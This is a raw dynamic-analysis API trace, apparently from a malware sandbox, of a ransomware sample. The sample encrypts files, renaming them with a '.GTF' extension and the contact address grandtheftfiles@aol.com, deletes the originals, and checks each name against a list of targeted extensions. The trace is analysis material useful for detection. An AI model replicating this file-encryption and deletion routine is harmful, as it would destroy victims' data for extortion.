	[0068.941] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0068.941] CreateFileW (lpFileName="C:\\BOOTSECT.BAK.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\bootsect.bak.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0068.941] GetLastError () returned 0x0
	[0068.941] ReadFile (in: hFile=0x320, lpBuffer=0x2ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x265fecc, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesRead=0x265fecc*=0x2000, lpOverlapped=0x0) returned 1
	[0069.178] WriteFile (in: hFile=0x368, lpBuffer=0x2ea0020*, nNumberOfBytesToWrite=0x2010, lpNumberOfBytesWritten=0x265fc94, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesWritten=0x265fc94*=0x2010, lpOverlapped=0x0) returned 1
	[0069.179] ReadFile (in: hFile=0x320, lpBuffer=0x2ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x265fecc, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesRead=0x265fecc*=0x0, lpOverlapped=0x0) returned 1
	[0069.179] WriteFile (in: hFile=0x368, lpBuffer=0x2ea0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x265fc94, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesWritten=0x265fc94*=0xec, lpOverlapped=0x0) returned 1
	[0069.180] SetEndOfFile (hFile=0x368) returned 1
	[0069.831] CloseHandle (hObject=0x368) returned 1
	[0069.843] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0069.843] SetEndOfFile (hFile=0x320) returned 1
	[0069.844] CloseHandle (hObject=0x320) returned 1
	[0069.844] SetFileAttributesW (lpFileName="C:\\BOOTSECT.BAK.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x27) returned 1
	[0069.844] DeleteFileW (lpFileName="C:\\BOOTSECT.BAK" (normalized: "c:\\bootsect.bak")) returned 1
	[0069.847] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15
	[0069.847] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15
	[0069.847] lstrlenW (lpString=".doc") returned 4
	[0069.848] lstrcmpiW (lpString1=".doc", lpString2=".BAK") returned 1
	[0069.848] lstrlenW (lpString=".docx") returned 5
	[0069.848] lstrcmpiW (lpString1=".docx", lpString2="T.BAK") returned -1
	[0069.848] lstrlenW (lpString=".pdf") returned 4
	[0069.848] lstrcmpiW (lpString1=".pdf", lpString2=".BAK") returned 1
	[0069.848] lstrlenW (lpString=".xls") returned 4
	[0069.848] lstrcmpiW (lpString1=".xls", lpString2=".BAK") returned 1
	[0069.848] lstrlenW (lpString=".xlsx") returned 5
	[0069.848] lstrcmpiW (lpString1=".xlsx", lpString2="T.BAK") returned -1
	[0069.848] lstrlenW (lpString=".ppt") returned 4
	[0069.848] lstrcmpiW (lpString1=".ppt", lpString2=".BAK") returned 1
	[0069.848] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15
	[0069.848] lstrlenW (lpString=".zip") returned 4
	[0069.848] lstrcmpiW (lpString1=".zip", lpString2=".BAK") returned 1
	[0069.848] lstrlenW (lpString=".rar") returned 4
	[0069.848] lstrcmpiW (lpString1=".rar", lpString2=".BAK") returned 1
	[0069.848] lstrlenW (lpString=".bz2") returned 4
	[0069.848] lstrcmpiW (lpString1=".bz2", lpString2=".BAK") returned 1
	[0069.848] lstrlenW (lpString=".7z") returned 3
	[0069.848] lstrcmpiW (lpString1=".7z", lpString2="BAK") returned -1
	[0069.848] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15
	[0069.848] lstrlenW (lpString=".dbf") returned 4
	[0069.848] lstrcmpiW (lpString1=".dbf", lpString2=".BAK") returned 1
	[0069.848] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15
	[0069.848] lstrlenW (lpString=".1cd") returned 4
	[0069.848] lstrcmpiW (lpString1=".1cd", lpString2=".BAK") returned -1
	[0069.848] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15
	[0069.848] lstrlenW (lpString=".jpg") returned 4
	[0069.848] lstrcmpiW (lpString1=".jpg", lpString2=".BAK") returned 1
	[0069.848] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15
	[0069.848] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15
	[0069.848] lstrlenW (lpString=".doc") returned 4
	[0069.848] lstrcmpiW (lpString1=".doc", lpString2=".BAK") returned 1
	[0069.848] lstrlenW (lpString=".docx") returned 5
	[0069.848] lstrcmpiW (lpString1=".docx", lpString2="T.BAK") returned -1
	[0069.848] lstrlenW (lpString=".pdf") returned 4
	[0069.848] lstrcmpiW (lpString1=".pdf", lpString2=".BAK") returned 1
	[0069.849] lstrlenW (lpString=".xls") returned 4
	[0069.849] lstrcmpiW (lpString1=".xls", lpString2=".BAK") returned 1
	[0069.849] lstrlenW (lpString=".xlsx") returned 5
	[0069.849] lstrcmpiW (lpString1=".xlsx", lpString2="T.BAK") returned -1
	[0069.849] lstrlenW (lpString=".ppt") returned 4
	[0069.849] lstrcmpiW (lpString1=".ppt", lpString2=".BAK") returned 1
	[0069.849] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15
	[0069.849] lstrlenW (lpString=".zip") returned 4
	[0069.849] lstrcmpiW (lpString1=".zip", lpString2=".BAK") returned 1
	[0069.849] lstrlenW (lpString=".rar") returned 4
	[0069.849] lstrcmpiW (lpString1=".rar", lpString2=".BAK") returned 1
	[0069.849] lstrlenW (lpString=".bz2") returned 4
	[0069.849] lstrcmpiW (lpString1=".bz2", lpString2=".BAK") returned 1
	[0069.849] lstrlenW (lpString=".7z") returned 3
	[0069.849] lstrcmpiW (lpString1=".7z", lpString2="BAK") returned -1
	[0069.849] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15
	[0069.849] lstrlenW (lpString=".dbf") returned 4
	[0069.849] lstrcmpiW (lpString1=".dbf", lpString2=".BAK") returned 1
	[0069.849] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15
	[0069.849] lstrlenW (lpString=".1cd") returned 4
	[0069.849] lstrcmpiW (lpString1=".1cd", lpString2=".BAK") returned -1
	[0069.849] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15
	[0069.849] lstrlenW (lpString=".jpg") returned 4
	[0069.849] lstrcmpiW (lpString1=".jpg", lpString2=".BAK") returned 1
	[0069.849] Sleep (dwMilliseconds=0x64) 
	[0070.022] Sleep (dwMilliseconds=0x64) 
	[0070.163] Sleep (dwMilliseconds=0x64) 
	[0070.277] Sleep (dwMilliseconds=0x64) 
	[0070.421] Sleep (dwMilliseconds=0x64) 
	[0070.662] Sleep (dwMilliseconds=0x64) 
	[0071.262] lstrcmpiW (lpString1=".htm", lpString2=".GTF") returned 1
	[0071.262] lstrlenW (lpString="Stars.htm") returned 9
	[0071.262] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Stars.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\stars.htm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0071.515] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x265ff14 | out: lpFileSize=0x265ff14*=230) returned 1
	[0071.515] CloseHandle (hObject=0x368) returned 1
	[0071.515] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Stars.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\stars.htm")) returned 0x20
	[0071.515] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Stars.htm.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\stars.htm.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0071.515] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Stars.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\stars.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0071.516] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Stars.htm") returned 67
	[0071.516] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Stars.htm") returned 67
	[0071.516] lstrlenW (lpString=".doc") returned 4
	[0071.516] lstrcmpiW (lpString1=".doc", lpString2=".htm") returned -1
	[0071.516] lstrlenW (lpString=".docx") returned 5
	[0071.516] lstrcmpiW (lpString1=".docx", lpString2="s.htm") returned -1
	[0071.516] lstrlenW (lpString=".pdf") returned 4
	[0071.516] lstrcmpiW (lpString1=".pdf", lpString2=".htm") returned 1
	[0071.516] lstrlenW (lpString=".xls") returned 4
	[0071.516] lstrcmpiW (lpString1=".xls", lpString2=".htm") returned 1
	[0071.516] lstrlenW (lpString=".xlsx") returned 5
	[0071.516] lstrcmpiW (lpString1=".xlsx", lpString2="s.htm") returned -1
	[0071.516] lstrlenW (lpString=".ppt") returned 4
	[0071.516] lstrcmpiW (lpString1=".ppt", lpString2=".htm") returned 1
	[0071.516] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Stars.htm") returned 67
	[0071.516] lstrlenW (lpString=".zip") returned 4
	[0071.516] lstrcmpiW (lpString1=".zip", lpString2=".htm") returned 1
	[0071.516] lstrlenW (lpString=".rar") returned 4
	[0071.516] lstrcmpiW (lpString1=".rar", lpString2=".htm") returned 1
	[0071.516] lstrlenW (lpString=".bz2") returned 4
	[0071.516] lstrcmpiW (lpString1=".bz2", lpString2=".htm") returned -1
	[0071.516] lstrlenW (lpString=".7z") returned 3
	[0071.516] lstrcmpiW (lpString1=".7z", lpString2="htm") returned -1
	[0071.516] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Stars.htm") returned 67
	[0071.516] lstrlenW (lpString=".dbf") returned 4
	[0071.516] lstrcmpiW (lpString1=".dbf", lpString2=".htm") returned -1
	[0071.516] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Stars.htm") returned 67
	[0071.516] lstrlenW (lpString=".1cd") returned 4
	[0071.516] lstrcmpiW (lpString1=".1cd", lpString2=".htm") returned -1
	[0071.516] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Stars.htm") returned 67
	[0071.516] lstrlenW (lpString=".jpg") returned 4
	[0071.516] lstrcmpiW (lpString1=".jpg", lpString2=".htm") returned 1
	[0071.516] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Stars.htm") returned 67
	[0071.516] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Stars.htm") returned 67
	[0071.517] lstrlenW (lpString=".doc") returned 4
	[0071.517] lstrcmpiW (lpString1=".doc", lpString2=".htm") returned -1
	[0071.517] lstrlenW (lpString=".docx") returned 5
	[0071.517] lstrcmpiW (lpString1=".docx", lpString2="s.htm") returned -1
	[0071.517] lstrlenW (lpString=".pdf") returned 4
	[0071.517] lstrcmpiW (lpString1=".pdf", lpString2=".htm") returned 1
	[0071.517] lstrlenW (lpString=".xls") returned 4
	[0071.517] lstrcmpiW (lpString1=".xls", lpString2=".htm") returned 1
	[0071.517] lstrlenW (lpString=".xlsx") returned 5
	[0071.517] lstrcmpiW (lpString1=".xlsx", lpString2="s.htm") returned -1
	[0071.517] lstrlenW (lpString=".ppt") returned 4
	[0071.517] lstrcmpiW (lpString1=".ppt", lpString2=".htm") returned 1
	[0071.517] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Stars.htm") returned 67
	[0071.517] lstrlenW (lpString=".zip") returned 4
	[0071.517] lstrcmpiW (lpString1=".zip", lpString2=".htm") returned 1
	[0071.517] lstrlenW (lpString=".rar") returned 4
	[0071.517] lstrcmpiW (lpString1=".rar", lpString2=".htm") returned 1
	[0071.517] lstrlenW (lpString=".bz2") returned 4
	[0071.517] lstrcmpiW (lpString1=".bz2", lpString2=".htm") returned -1
	[0071.517] lstrlenW (lpString=".7z") returned 3
	[0071.517] lstrcmpiW (lpString1=".7z", lpString2="htm") returned -1
	[0071.517] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Stars.htm") returned 67
	[0071.517] lstrlenW (lpString=".dbf") returned 4
	[0071.517] lstrcmpiW (lpString1=".dbf", lpString2=".htm") returned -1
	[0071.517] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Stars.htm") returned 67
	[0071.517] lstrlenW (lpString=".1cd") returned 4
	[0071.517] lstrcmpiW (lpString1=".1cd", lpString2=".htm") returned -1
	[0071.517] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Stars.htm") returned 67
	[0071.517] lstrlenW (lpString=".jpg") returned 4
	[0071.518] lstrcmpiW (lpString1=".jpg", lpString2=".htm") returned 1
	[0071.518] lstrcmpiW (lpString1=".inc", lpString2=".GTF") returned 1
	[0071.518] lstrlenW (lpString="adojavas.inc") returned 12
	[0071.518] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc" (normalized: "c:\\program files\\common files\\system\\ado\\adojavas.inc"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0071.557] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x265ff14 | out: lpFileSize=0x265ff14*=14856) returned 1
	[0071.557] CloseHandle (hObject=0x358) returned 1
	[0071.564] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc" (normalized: "c:\\program files\\common files\\system\\ado\\adojavas.inc")) returned 0x20
	[0071.564] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\common files\\system\\ado\\adojavas.inc.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0071.564] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc" (normalized: "c:\\program files\\common files\\system\\ado\\adojavas.inc"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0071.564] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc") returned 53
	[0071.564] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc") returned 53
	[0071.564] lstrlenW (lpString=".doc") returned 4
	[0071.564] lstrcmpiW (lpString1=".doc", lpString2=".inc") returned -1
	[0071.564] lstrlenW (lpString=".docx") returned 5
	[0071.564] lstrcmpiW (lpString1=".docx", lpString2="s.inc") returned -1
	[0071.564] lstrlenW (lpString=".pdf") returned 4
	[0071.564] lstrcmpiW (lpString1=".pdf", lpString2=".inc") returned 1
	[0071.564] lstrlenW (lpString=".xls") returned 4
	[0071.564] lstrcmpiW (lpString1=".xls", lpString2=".inc") returned 1
	[0071.564] lstrlenW (lpString=".xlsx") returned 5
	[0071.564] lstrcmpiW (lpString1=".xlsx", lpString2="s.inc") returned -1
	[0071.564] lstrlenW (lpString=".ppt") returned 4
	[0071.564] lstrcmpiW (lpString1=".ppt", lpString2=".inc") returned 1
	[0071.564] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc") returned 53
	[0071.564] lstrlenW (lpString=".zip") returned 4
	[0071.564] lstrcmpiW (lpString1=".zip", lpString2=".inc") returned 1
	[0071.564] lstrlenW (lpString=".rar") returned 4
	[0071.564] lstrcmpiW (lpString1=".rar", lpString2=".inc") returned 1
	[0071.564] lstrlenW (lpString=".bz2") returned 4
	[0071.564] lstrcmpiW (lpString1=".bz2", lpString2=".inc") returned -1
	[0071.564] lstrlenW (lpString=".7z") returned 3
	[0071.564] lstrcmpiW (lpString1=".7z", lpString2="inc") returned -1
	[0071.564] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc") returned 53
	[0071.565] lstrlenW (lpString=".dbf") returned 4
	[0071.565] lstrcmpiW (lpString1=".dbf", lpString2=".inc") returned -1
	[0071.565] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc") returned 53
	[0071.565] lstrlenW (lpString=".1cd") returned 4
	[0071.565] lstrcmpiW (lpString1=".1cd", lpString2=".inc") returned -1
	[0071.565] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc") returned 53
	[0071.565] lstrlenW (lpString=".jpg") returned 4
	[0071.565] lstrcmpiW (lpString1=".jpg", lpString2=".inc") returned 1
	[0071.565] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc") returned 53
	[0071.565] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc") returned 53
	[0071.565] lstrlenW (lpString=".doc") returned 4
	[0071.565] lstrcmpiW (lpString1=".doc", lpString2=".inc") returned -1
	[0071.565] lstrlenW (lpString=".docx") returned 5
	[0071.565] lstrcmpiW (lpString1=".docx", lpString2="s.inc") returned -1
	[0071.565] lstrlenW (lpString=".pdf") returned 4
	[0071.565] lstrcmpiW (lpString1=".pdf", lpString2=".inc") returned 1
	[0071.565] lstrlenW (lpString=".xls") returned 4
	[0071.565] lstrcmpiW (lpString1=".xls", lpString2=".inc") returned 1
	[0071.565] lstrlenW (lpString=".xlsx") returned 5
	[0071.565] lstrcmpiW (lpString1=".xlsx", lpString2="s.inc") returned -1
	[0071.565] lstrlenW (lpString=".ppt") returned 4
	[0071.565] lstrcmpiW (lpString1=".ppt", lpString2=".inc") returned 1
	[0071.565] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc") returned 53
	[0071.565] lstrlenW (lpString=".zip") returned 4
	[0071.565] lstrcmpiW (lpString1=".zip", lpString2=".inc") returned 1
	[0071.565] lstrlenW (lpString=".rar") returned 4
	[0071.565] lstrcmpiW (lpString1=".rar", lpString2=".inc") returned 1
	[0071.565] lstrlenW (lpString=".bz2") returned 4
	[0071.565] lstrcmpiW (lpString1=".bz2", lpString2=".inc") returned -1
	[0071.565] lstrlenW (lpString=".7z") returned 3
	[0071.565] lstrcmpiW (lpString1=".7z", lpString2="inc") returned -1
	[0071.565] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc") returned 53
	[0071.565] lstrlenW (lpString=".dbf") returned 4
	[0071.565] lstrcmpiW (lpString1=".dbf", lpString2=".inc") returned -1
	[0071.565] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc") returned 53
	[0071.565] lstrlenW (lpString=".1cd") returned 4
	[0071.566] lstrcmpiW (lpString1=".1cd", lpString2=".inc") returned -1
	[0071.566] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc") returned 53
	[0071.566] lstrlenW (lpString=".jpg") returned 4
	[0071.566] lstrcmpiW (lpString1=".jpg", lpString2=".inc") returned 1
	[0071.566] lstrcmpiW (lpString1=".gif", lpString2=".GTF") returned -1
	[0071.566] lstrlenW (lpString="splash.gif") returned 10
	[0071.566] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0071.569] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x265ff14 | out: lpFileSize=0x265ff14*=8590) returned 1
	[0071.569] CloseHandle (hObject=0x368) returned 1
	[0071.569] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash.gif")) returned 0x20
	[0071.569] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash.gif.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash.gif.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0071.569] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0071.569] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0071.569] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0071.569] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash.gif.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash.gif.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320
	[0071.573] GetLastError () returned 0x0
	[0071.573] ReadFile (in: hFile=0x368, lpBuffer=0x2ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x265fecc, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesRead=0x265fecc*=0x218e, lpOverlapped=0x0) returned 1
	[0071.582] WriteFile (in: hFile=0x320, lpBuffer=0x2ea0020*, nNumberOfBytesToWrite=0x2190, lpNumberOfBytesWritten=0x265fc94, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesWritten=0x265fc94*=0x2190, lpOverlapped=0x0) returned 1
	[0071.583] ReadFile (in: hFile=0x368, lpBuffer=0x2ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x265fecc, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesRead=0x265fecc*=0x0, lpOverlapped=0x0) returned 1
	[0071.584] WriteFile (in: hFile=0x320, lpBuffer=0x2ea0020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x265fc94, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesWritten=0x265fc94*=0xe8, lpOverlapped=0x0) returned 1
	[0071.584] SetEndOfFile (hFile=0x320) returned 1
	[0071.584] CloseHandle (hObject=0x320) returned 1
	[0071.585] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0071.585] SetEndOfFile (hFile=0x368) returned 1
	[0071.586] CloseHandle (hObject=0x368) returned 1
	[0071.586] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash.gif.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x20) returned 1
	[0071.586] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash.gif")) returned 1
	[0071.586] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash.gif") returned 56
	[0071.586] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash.gif") returned 56
	[0071.586] lstrlenW (lpString=".doc") returned 4
	[0071.586] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1
	[0071.586] lstrlenW (lpString=".docx") returned 5
	[0071.586] lstrcmpiW (lpString1=".docx", lpString2="h.gif") returned -1
	[0071.586] lstrlenW (lpString=".pdf") returned 4
	[0071.586] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1
	[0071.586] lstrlenW (lpString=".xls") returned 4
	[0071.586] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1
	[0071.586] lstrlenW (lpString=".xlsx") returned 5
	[0071.586] lstrcmpiW (lpString1=".xlsx", lpString2="h.gif") returned -1
	[0071.586] lstrlenW (lpString=".ppt") returned 4
	[0071.586] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1
	[0071.587] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash.gif") returned 56
	[0071.587] lstrlenW (lpString=".zip") returned 4
	[0071.587] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1
	[0071.587] lstrlenW (lpString=".rar") returned 4
	[0071.587] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1
	[0071.587] lstrlenW (lpString=".bz2") returned 4
	[0071.587] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1
	[0071.587] lstrlenW (lpString=".7z") returned 3
	[0071.587] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1
	[0071.587] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash.gif") returned 56
	[0071.587] lstrlenW (lpString=".dbf") returned 4
	[0071.587] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1
	[0071.587] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash.gif") returned 56
	[0071.587] lstrlenW (lpString=".1cd") returned 4
	[0071.587] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1
	[0071.587] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash.gif") returned 56
	[0071.587] lstrlenW (lpString=".jpg") returned 4
	[0071.587] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1
	[0071.587] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash.gif") returned 56
	[0071.587] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash.gif") returned 56
	[0071.587] lstrlenW (lpString=".doc") returned 4
	[0071.587] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1
	[0071.587] lstrlenW (lpString=".docx") returned 5
	[0071.587] lstrcmpiW (lpString1=".docx", lpString2="h.gif") returned -1
	[0071.587] lstrlenW (lpString=".pdf") returned 4
	[0071.587] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1
	[0071.587] lstrlenW (lpString=".xls") returned 4
	[0071.587] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1
	[0071.587] lstrlenW (lpString=".xlsx") returned 5
	[0071.587] lstrcmpiW (lpString1=".xlsx", lpString2="h.gif") returned -1
	[0071.587] lstrlenW (lpString=".ppt") returned 4
	[0071.587] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1
	[0071.587] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash.gif") returned 56
	[0071.587] lstrlenW (lpString=".zip") returned 4
	[0071.587] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1
	[0071.588] lstrlenW (lpString=".rar") returned 4
	[0071.588] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1
	[0071.588] lstrlenW (lpString=".bz2") returned 4
	[0071.588] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1
	[0071.588] lstrlenW (lpString=".7z") returned 3
	[0071.588] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1
	[0071.588] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash.gif") returned 56
	[0071.588] lstrlenW (lpString=".dbf") returned 4
	[0071.588] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1
	[0071.588] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash.gif") returned 56
	[0071.588] lstrlenW (lpString=".1cd") returned 4
	[0071.588] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1
	[0071.588] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash.gif") returned 56
	[0071.588] lstrlenW (lpString=".jpg") returned 4
	[0071.588] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1
	[0071.588] lstrcmpiW (lpString1=".gif", lpString2=".GTF") returned -1
